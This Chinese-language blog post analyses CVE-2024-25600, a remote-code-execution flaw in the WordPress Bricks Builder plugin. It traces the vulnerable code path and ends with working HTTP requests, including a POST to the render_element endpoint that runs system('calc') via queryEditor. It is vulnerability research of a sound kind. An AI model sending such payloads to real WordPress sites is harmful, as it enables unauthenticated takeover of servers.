CVE-2024-25600 WordPress Bricks Builder RCE-漏洞分析研究

2024-03-07 06:44

本文主要是介绍CVE-2024-25600 WordPress Bricks Builder RCE-漏洞分析研究,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本次代码审计项目为PHP语言,我将继续以漏洞挖掘者的视角来分析漏洞的产生,调用与利用.....

前方高能,小伙伴们要真正仔细看咯.....

漏洞简介

CVE-2024-25600 是一个严重的(CVSS 评分 9.8)远程代码执行 (RCE) 漏洞,影响 WordPress 的 Bricks Builder 插件。成功利用此漏洞可能允许未经身份验证的攻击者在受影响的基于 WordPress 的网站上远程执行任意 PHP 代码。据报道,该漏洞已被广泛利用,包括尝试在易受攻击的服务器上安装基于 PHP 的恶意 Webshell。Bricks Builder 插件版本 1.9.6.1 或更高版本中已发布解决此漏洞的补丁。

Bricks Builder官方 Bricks – Visual Site Builder for WordPress

Bricks Builder官方参考文档Getting Started – Bricks Academy

漏洞官方公告Bricks 1.9.6.1 Changelog – Bricks

漏洞分析

先看触发漏洞的代码函数

位于\wp-content\themes\bricks\includes\query.php中346行

这段代码被涉及用来执行用户提交的 PHP 代码并返回执行结果

既然这样,就很大概率能够触发rce

向上分析参数是如何传递的,先分析参数$php_query_raw

$php_query_raw由bricks_render_dynamic_data( $query_vars['queryEditor'], $post_id );得到

可以追入bricks_render_dynamic_data 查看是否对数据进行了过滤处理

追入render_content方法

代码功底好的小伙伴 可以逐行分析下....

回到query.php 337行分析 $query_vars['queryEditor']参数的传递

$query_vars由传入的形参得来。右键find usages 找到调用这个方法(prepare_query_vars_from_settings)被调用的地方

优先考虑__construct方法,该方法会在实例化类时自动执行

在调用方法的代码行111行,向上分析

要想成功调用prepare_query_vars_from_settings方法成功需要

1.在element参数下setting参数下的query参数下,要有参数objectType

2.进入else语句块,$element['id']为空即可 (即不考虑这个参数)

3.在element参数下setting参数下的query参数下,设置参数queryEditor为我们rce代码

4.在element参数下setting参数下的query参数下,要有参数useQueryEditor

那么接下来继续向上分析方法调用(__construct方法的被调用)

逐个进行分析,要分析函数传递的参数是否为我们可控.....

我查看了render_data与render_elemet这两个方法似乎都不太行,但是在分析render_elemet这个方法得到看意外的收获。

....

来到ajax.php中该类在297行,有实例化l类 Query

向上分析参数的调用,重点参数$loop_elemet

在273行与289行之间 似乎时设置了ajax与rest api这两种请求方式。非ajax请求

element参数下没有参数loopElement,$loop_elemet将被置为false

296行的if语句也将为假,这里 new Query是执行不了的。那继续向下看吧,看看有什么线索

$element_class_name将是Element_Container类

在322行我们可以实例化对象, 不过只能对特定的类进行实例化

类似于白名单,我们只能对如下的类进行实例化

假如我们在参数element下设置了name=container,则会实例化Container类,(之前在查找__construct方法时有Container类这个结果,所有要对这个类非常的敏感)

先不急找调用者,分析element成员是否我们可控的

在ajax.php中render_element函数中,$element变量是我们可控的,在322行代码将这个变量赋予了实例化container类

分析下的它的构造函数

,跟入类Container的__construct 魔术方法(在继承的父类)

分析它对传入的$element做了什么处理。上图赋予了此类的的element变量,这也是我们想要看到的。

接下来就可以分析container类render方法的调用了

我们发现base类init方法调用了render方法(继承关系container可以调用此方法)

继续分析render_element函数对container对象又执行了那些操作,

container对象调用了init方法 这就使得我的RCE代码执行成功!

漏洞复现

先获取下nonce值

GET /WordPress-6.4.3/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate, br

发送payload

POST /WordPress-6.4.3/wp-json/bricks/v1/render_element HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 270
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
​
{"postId": "1","nonce": "b5b275220f","element": {"name": "container","settings": {"hasLoop": "","query": {"useQueryEditor": "","queryEditor": "system('calc');","objectType": ""}}}
}

 

这篇关于CVE-2024-25600 WordPress Bricks Builder RCE-漏洞分析研究的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/782668

相关文章

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题

题库来源:安全生产模拟考试一点通公众号小程序 2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题是由安全生产模拟考试一点通提供,流动式起重机司机证模拟考试题库是根据流动式起重机司机最新版教材,流动式起重机司机大纲整理而成(含2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题参考答案和部分工种参考解析),掌握本资料和学校方法,考试容易。流动式起重机司机考试技

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57

2024/9/8 c++ smart

1.通过自己编写的class来实现unique_ptr指针的功能 #include <iostream> using namespace std; template<class T> class unique_ptr { public:         //无参构造函数         unique_ptr();         //有参构造函数         unique_ptr(

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud

论文翻译:arxiv-2024 Benchmark Data Contamination of Large Language Models: A Survey

Benchmark Data Contamination of Large Language Models: A Survey https://arxiv.org/abs/2406.04244 大规模语言模型的基准数据污染:一项综述 文章目录 大规模语言模型的基准数据污染:一项综述摘要1 引言 摘要 大规模语言模型(LLMs),如GPT-4、Claude-3和Gemini的快